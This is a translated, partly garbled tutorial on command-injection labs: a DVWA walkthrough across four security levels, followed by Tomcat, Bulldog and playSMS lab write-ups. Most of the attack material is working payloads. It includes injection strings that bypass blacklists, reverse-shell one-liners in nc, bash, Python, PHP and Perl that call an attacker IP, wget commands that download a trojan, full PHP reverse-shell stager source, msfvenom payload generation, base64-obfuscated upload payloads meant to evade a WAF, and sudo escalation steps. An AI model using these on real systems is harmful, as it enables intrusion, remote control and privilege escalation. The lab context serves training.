WEB security practice (with shooting range) – command execution
Range 1: Command execution in DVWA
Shooting Range 2: Shooting Range Experiment Command Execution
Comprehensive experiment 1 link (please notify in the comment area if it is invalid)
Link: https://pan.baidu.com/s/11hFpAiPaxnxxsc-qmVk93w Extraction code: ka9r Link: https://pan.baidu.com/s/1EhFUQ5si5pylFlSKRpN3Ug Extraction code: bkgyComprehensive experiment 3 link (please notify in the comment area if it is invalid) Link: https://download.vulnhub.com/bulldog/bulldog.ova
Comprehensive Experiment 2 Link (please notify in the comment area if it is invalid)
Brute Force (command execution)
Range 1: Command execution in DVWA
Introduction to DVWA
DVWA (Damn Vulnerable Web Application) is a PHP/MySQL used for security vulnerability identification
Web application designed for security professionals to test their professional skills and tools Provide a legal environment to help web developers better understand the process of web application security prevention.DVWA has ten modules, namely Brute Force (brute force (cracking)), Command
Injection (command line injection), CSRF (cross-site request forgery), File Inclusion ( File contains), File
Upload (file upload), Insecure CAPTCHA (insecure verification code), SQL Injection (SQL injection), SQL
Injection (Blind ) (SQL blind injection), XSS (Reflected) (reflected cross-site scripting), XSS (Stored) (stored cross-site scripting).It should be noted that the code of DVWA
1.9 is divided into four security levels: Low, Medium, High, and Impossible. Beginners can get exposed to some PHP code auditing content by comparing four levels of code.
DVWA construction
This article on Freebuf "WEB Shooting Range Construction Tutorial (PHPstudy+SQLllib+DVWA+upload-labs)" (https://www.freebuf.com/articles/web/270837.html) has been written very well. I won’t go into details here.
Vulnerability: Command Injection
Command Injection refers to destroying the command statement structure by submitting maliciously constructed parameters to achieve the purpose of executing malicious commands. PHP command injection attack vulnerability is one of the common script vulnerabilities in PHP applications. Famous domestic web applications such as Discuz! and DedeCMS have had this type of vulnerability.
The four levels of code are analyzed below.
Level: Low
Server-side core code
\<?php
if( isset( \$_POST[ 'Submit' ] ) ) {
// 获取输入赋值给target
\$target = \$_REQUEST[ 'ip' ];
// 确定操作系统并执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 这里是Windows系统命令是ping
\$cmd = shell_exec( 'ping ' . \$target );
}
else {
\$cmd = shell_exec( 'ping -c 4 ' . \$target );
}
// 结果反馈
echo "\<pre\>{\$cmd}\</pre\>";
}
?\>;
Introduction to related functions
stristr(string,search,before_search)
The stristr function searches for the first occurrence of a string in another string and returns that string plus the remaining parts.
(例如echo stristr("Hello world!","wo");最后结果是world!),如果未找到所搜索的字符串,则返回
FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII
值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search
参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a”(此为默认,包含序列”s n r v
m”里的所有模式),”s”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息),
”m”(返回机器类型)。 可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
exploit
window和linux系统都可以用&&来执行多条命令
127.0.0.1&&net user
**shell_exec(string \$cmd): string**
通过shell执行命令并将完整输出作为字符串返回
PHP的命令执行函数主要有:system、exec、passthru、shell_exec
**\<pre\>**
Html元素标签,常用来表示计算机的源代码
exploit
Both window and linux systems can use relational operators to execute multiple commands.
"&": If the previous statement is false, the following statement will be executed directly. The previous statement can be true or false.
"&&": If the previous statement is true, the first command is executed first and then the second command is executed.
"||": If an error occurs in the execution of the previously executed statement, the subsequent statement will be executed.
"|": Directly execute the following statement
";" After executing the previous command, execute the following command
**Commonly used URL encoding:
** %20 = empty
%5c = \
%26 = &
%7c = |
For example: 127.0.0.1&&dir
If you enter 127.0.0.1&&cat /etc/shadow under Linux, you can even read the shadow file, which shows how harmful it is.
Practice commands:
127.0.0.1 && ifconfig
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 || ifconfig
Level: Medium
Server-side core code
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
// Get input
$target = $_REQUEST[ ‘ip’ ];
//Set blacklist
$substitutions = array(
‘&&’ => ‘’,
‘;’ => ‘’,
);
//Delete characters in the blacklist array.
$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
$cmd = shell_exec( 'ping ’ . $target );
}
else {
$cmd = shell_exec( 'ping -n 4 ’ . $target );
}
echo “<pre>{$cmd}</pre>”;
}
?>
str_replace function
str_replace(find,replace,string,count)
parameter | describe |
---|---|
find | Required. Specifies the value to look for. |
replace | Required. Specifies a value that replaces the value in find. |
string | Required. Specifies the string to be searched for. |
count | Optional. A variable counting the number of substitutions. |
array_keys() function
Returns a new array containing all keys in the array.
For example
<?php
$a=array(“x”=>“A”,“y”=>“B”,“z”=>“C”);
print_r(array_keys($a));
?>
/*result:
Array ( [0] => x [1] => y [2] => z )
*/
exploit
From the above code, we can see that only the ; and && symbols are filtered, and we can still use |, || and &.
Method 2: Since str_replace is used to replace "&&" and ";" with empty characters, it can be bypassed in the following ways:
127.0.0.1&;&ipconfig
Level: High
Source code analysis
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
$target = trim($_REQUEST[ ‘ip’ ]);
$substitutions = array(
‘&’ => ‘’,
‘;’ => ‘’,
'| ’ => ‘’,
‘-’ => ‘’,
‘$’ => ‘’,
‘(’ => ‘’,
‘)’ => ‘’,
‘`’ => ‘’,
‘||’ => ‘’,
);
$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
$cmd = shell_exec( 'ping ’ . $target );
}
else {
$cmd = shell_exec( 'ping -n 4 ’ . $target );
}
echo “<pre>{$cmd}</pre>”;
}
?>
Compared with Medium-level code, High-level code further improves the blacklist, but due to the limitations of the blacklist mechanism, we can still bypass it.
exploit
The blacklist seems to filter out all illegal characters, but if you observe carefully, it replaces "|" (note that there is a space after | here) with a blank character, so "|" becomes a "fish that slips through the net."
127.0.0.1|dir
Method 2:
After looking at the above picture, you may have doubts. There is obviously filter || in the source code, why can it still be executed?
Let’s take a closer look at its blacklist order:
As you can see from the above, it does have filtering ||, but did you notice the order! ! It searches for escapes from top to bottom. It first escapes | spaces.
So 127.0.0.1 || ipconfig becomes 127.0.0.1 |ipconfig after filtering. Therefore, the final execution command becomes 127.0.0.1 |ipconfig
Level: Impossible
Source code analysis
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
// Check for anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ],
‘index.php’ );$target = $_REQUEST[ ‘ip’ ];
$target = stripslashes( $target );
// Split the IP into 4 eighths
$octet = explode( “.”, $target );
// Check if each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && (
is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && (
sizeof( $octet ) == 4 ) ) {// If all four octets are ints, put the IPs back together.
$target = $octet[0] . ‘.’ . $octet[1] . ‘.’ . $octet[2] . ‘.’ .
$octet[3];if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
$cmd = shell_exec( 'ping ’ . $target );
}
else {
$cmd = shell_exec( 'ping -n 4 ’ . $target );
}
echo “<pre>{$cmd}</pre>”;
}
else {
//Inform the user that the input is incorrect
echo ‘<pre>ERROR: You have entered an invalid IP.</pre>’;
}
}
// Generate anti-CSRF token
generateSessionToken();
?>
Introduction to related functions
stripslashes(string)
The stripslashes function removes backslashes from a string and returns a string with the backslashes stripped.
explode(separator,string,limit)
Here is the quote
Break the string into an array and return an array of strings. The separator parameter specifies where to split the string, the string parameter is the string to be split, and the optional limit parameter specifies the number of array elements returned.
is_numeric(string)
Checks whether string is a number or a numeric string, if so it returns TRUE, otherwise it returns FALSE.
It can be seen that the Impossible level code adds Anti-CSRF; token, and strictly limits the parameter IP. Only input such as "number.number.number.number" will be received and executed, so there is no command injection. loopholes.
Comprehensive experiment 1: WEB security command execution
lab environment
Attack machine: kali ip as shown in the picture 192.168.31.15
Shooting range machine: ubuntu ip as shown in the picture 192.168.31.244
Step One: Information Detection
Scan host service information and service version
– nmap -sV range IP address
Quickly scan all host information
– nmap -T4 -A -v range IP address
Detect sensitive information
– nikto -host http://shooting range IP address:port
Visit this page based on the information collected
The first page: http://192.168.31.244:8080/
Then visit the second page http://192.168.31.244:8080/test.jsp
Enter ls -l /tmp as prompted
You can view the home directory files. Found user bill
Check the directory file of the bill user and find that you can remotely ssh and use the sudo command
We use the ssh command to check root permissions
ssh bill@localhost sudo -l
Turn off ubuntu firewall command: ufw disable
ssh bill@localhost sudo ufw disable
Attack method: rebound shell
Attack machine starts monitoring Netcat introduction
Netcat (nc for short) is a powerful command line network tool used to establish a TCP/UDP connection between two machines and read and write data through standard input and output.
port scan
Netcat is used to discover open ports on some machines
Transfer files
Similarly, by establishing a TCP connection, files can be easily transferred between two hosts. If you want to send test.txt on server A to server B (IP address is 172.16.0.4),
Execute on server A nc 172.16.0.4 9999 < test.txt
Execute on server B nc -l 9999 > test.txt
forward shell
Using Netcat can achieve functions similar to ssh, that is, exposing the shell terminal of the target machine to a certain port, and then the local machine uses Netcat to connect to the target machine, and then the shell terminal of the target machine can be accessed.
Execute on the target machine nc -l 9999 | /bin/bash
Execute on local machine nc 172.16.0.4 9999
Although we can use the local machine to transfer commands to the target machine for execution, it is still a little different from the ssh connection because the execution results of the command cannot be seen on the local machine. This problem can be solved cleverly using pipelines and executed on the target machine
\$ mkfifo /tmp/pipe
\$ cat /tmp/pipe \| /bin/bash 2\>&1 \| nc -l -p 9999 \> /tmp/pipe
The main functions of the above two commands are as follows:
- Create a named pipe using the mkfifo command
- Then read the contents of /tmp/pipe through the cat command and send the contents to /bin/bash through the pipe
- Send the execution results of /bin/bash to nc through the pipeline
- nc will save the commands received from the local machine to /tmp/pipe
- The commands in /tmp/pipe are read by cat and transferred to /bin/bash, completing the entire data flow.
- Now you can receive the execution results of the /bin/bash command on your local machine.
To get back to the truth:
Rebound shell method
- nc rebound shell
Attack machine: nc -lvp 9999 // Listen to port 9999
Target machine: nc 1.1.1.1 9999 -e /bin/bash // Linux forwardly connects to the 9999 port of the public network vps1.1.1.1
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
- Bash rebound shell
Attack aircraft: nc -lvp 6666
靶机:bash -i >& /dev/tcp/192.168.32.1/6666 0>&1
3. Python rebound shell
Attack aircraft: nc -lvp 6666
靶机:python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.32.1”,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
4. PHP reverse shell
Attack aircraft: nc -lvp 6666
靶机:php -r ‘$sock=fsockopen(“192.168.32.1”,6666);exec(“/bin/sh -i <&3
>&3 2>&3”);’
5. Perl rebound shell
Attack aircraft: nc -lvp 6666
靶机:perl -e ‘use Socket;
$i=“192.168.32.1”;$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh
-i”);};’
Here we use the second method to use bash to rebound the shell
The attack machine kali starts listening on port 6666
We use the ssh command to perform shell rebound on the target machine.
命令:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.31.15/6666 0>&1
At this point our kali monitoring is successful
Get the flag value and the experiment is over.
Penetration testing skills, downloading shell files remotely
The attack machine kali starts the apache service
systemctl start apache2.service
Use command execution to download Trojan files
ssh bill@localhost sudo wget “http://192.168.31.15/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php
Or use python to open a simple http server
Python3 -m http.server 8080
Use command execution to download Trojan files
ssh bill@localhost sudo wget “http://192.168.31.15:8080/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php
Make the shell.php file and copy it to the /var/www/html directory
Copy the Trojan source code
\<?php /\*\*/ error_reporting(0); \$ip = '**192.168.31.15**'; \$port = **4444**; if ((\$f = 'stream_socket_client') && is_callable(\$f)) {
\$s = \$f("tcp://{\$ip}:{\$port}"); \$s_type = 'stream'; } if (!\$s && (\$f = 'fsockopen') && is_callable(\$f)) {
\$s = \$f(\$ip, \$port); \$s_type = 'stream'; } if (!\$s && (\$f = 'socket_create') && is_callable(\$f)) {
\$s = \$f(AF_INET, SOCK_STREAM, SOL_TCP); \$res = @socket_connect(\$s, \$ip, \$port); if (!\$res) {
die(); } \$s_type = 'socket'; } if (!\$s_type) {
die('no socket funcs'); } if (!\$s) {
die('no socket'); } switch (\$s_type) {
case 'stream': \$len = fread(\$s, 4); break; case 'socket': \$len = socket_read(\$s, 4); break; } if (!\$len) {
die(); } \$a = unpack("Nlen", \$len); \$len = \$a['len']; \$b = ''; while (strlen(\$b) \< \$len) {
switch (\$s_type) {
case 'stream': \$b .= fread(\$s, \$len-strlen(\$b)); break; case 'socket': \$b .= socket_read(\$s, \$len-strlen(\$b)); break; } } \$GLOBALS['msgsock'] = \$s; \$GLOBALS['msgsock_type'] = \$s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
\$suhosin_bypass=create_function('', \$b); \$suhosin_bypass(); } else {
eval(\$b); } die();
Msf detection
Comprehensive experiment 2: bulldog
Integration tool SPARTA (kali renamed to legion)
Introduction to Legion
Legion is a fork of SECFORCE's Sparta and is an open source, easy-to-use, ultra-scalable and semi-automated network penetration testing framework, targeting the discovery, reconnaissance and exploitation of vulnerabilities in information systems.
Legion is developed and maintained by GoVanguard. More information about Legion, including a product roadmap, can be found on its project page. Automated reconnaissance and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with nearly 100 automatically scheduled scripts
Use dirbuster to brute force website directories
You can also use nikto to find sensitive directories (not explained here). The dev directory is found here.
Click web-shell, and the following reply will appear. You need to log in as a user.
We checked the source code of the web-shell page for analysis and found that there are comment lines.
Team Lead: [email protected]<br><!–6515229daf8dbdc8b89fed2e60f107433da5f2cb–>
Back-up Team Lead: [email protected]<br><br><!–38882f3b81f8f2bc47d9f3119155b05f954892fb–>
Front End: [email protected]<br><!–c6f7e34d5d08ba4a40dd5627508ccb55b425e279–>
Front End: [email protected]<br><br><!–0e6ae9fe8af1cd4192865ac97ebf6bda414218a9–>
Back End: [email protected]<br><!–553d917a396414ab99785694afd51df3a8a8a3e0–>
Back End: [email protected]<br><br><!–ddf45997a7e18a25ad5f5cf222da64814dd060d5–>
Database: [email protected]<br><!–d8b8dd5e7f000b8dea26ef8428caf38c04466b3e–>
Copy them separately for hash decryption
You can use the online decryption URL:https://www.cmd5.com/
Or use john to decrypt
Here we get a user name: nick and password: bulldog. After logging in, there is a cookie cache on the page. At this time, our web-shell can be opened normally.
At this point we open the web-shell page
Found the command execution window
Use echo command for shell rebound
echo ‘bash -i >& /dev/tcp/192.168.31.15/6666 0>&1’ | bash
Enter the directory and find the customPermissionApp file and note list
Password:SUPERultimatePASSWORDyouCANTget
Use the sudo su command (the sudo su command switches to the root user and requires the current user's password)
Finally, switch to the root directory to get the final congratulations
Comprehensive Experiment 3: Command Injection (Multiple Analysis)
lab environment
Attack machine: kali ip as shown in the picture 192.168.31.15
Shooting range machine: ubuntu ip as shown in the picture 192.168.31.47
Step One: Information Detection
Quickly scan all host information
– nmap -T4 -A -v range IP address
Found that port 80 is open, as well as the robots.txt file, and /ange1 /angel1 /nothing /tmp /uploads
five directories
[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-UoFCbD8o-1671609096148)(media/2613133c6a897ef63a45e852170d1876.png)]
Detect sensitive information
– nikto -host http://shooting range IP address:port
Or use the tool legion to detect
For more brute-force cracking directories, you can also use the dirbuster tool or the command dirb http://ip:port
Next, let’s access the directory we just scanned.
/robots.txt found several directories
There is no useful information when visiting the /angel /noting /tmp /uploads web page (check the source code here!!)
View/nothing source code
Then visit
http://192.168.31.47/secure/ I found a backup file and opened it as an MP3 file that requires a password (the password is freedom in the picture above)
But the file cannot be opened. It may not be an mp3 file. You need the file command to determine the file type and cat to read the file content.
[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-VmLyWPCB-1671609096151)(media/d76c82d2731a9fa975ea6ec64b0fab0c.png)]
The username found is touhid
And the directory url: /SecreTSMSgatwayLogin, access the directory to find the login page
http://192.168.31.47/SecreTSMSgatwayLogin/index.php?app=main&inc=core_auth&route=login
Username: touhid
After trying the password, I found it was diana.
Use penetration testing toolssearchsploit to detect exploitable vulnerabilities in the website
Command format: searchsploit corresponding system
For example here: searchsploit playsms
Check the latest vulnerabilities
A command execution vulnerability was discovered
There is a file upload vulnerability
Use burpsuite to capture packets. According to the vulnerability prompt, command execution can be performed at filename.
<?php system(‘id’);die(); ?>.php
Exploit 1: Command Execution Vulnerability
**
**
Use the 2nd module
use exploit/multi/http/playsms_filename_exec
and view the options that need to be configured
show options
Use the set command to set configuration information
Finally run run to get meterpreter
Exploit 2: Command execution vulnerability (using remote download webshell)
- generate shell
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f elf > /var/www/html/webshell
2. Start monitoring (must run first)
Create three new files on the Kali desktop.
Enter the following three commands in sequence and perform base64 encoding (in order to bypass WAF and firewall detection)
1. Start capturing packets of the first file and modify the filename to the following content:
<?php system(base64_decode(‘d2dldCBodHRwOi8vMTkyLjE2OC4zMS4xNS93ZWJzaGVsbCAtTyAvdG1wL3dlYnNoZWxsCg==’));die();?>.php
2. The second file captures the packet
<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvd2Vic2hlbGwK’));die();?>.php
3. The third file capture packet
<?php system(base64_decode(‘L3RtcC93ZWJzaGVsbAo=’));die();?>.php
Found that perl does not require sudo verification, use the command
sudo perl -e "exec ‘/bin/sh’ "
bash -i
Obtain root permissions:
Finally, the flag.txt file was found in the /root root directory, and the experiment ended (root password: hello@3210)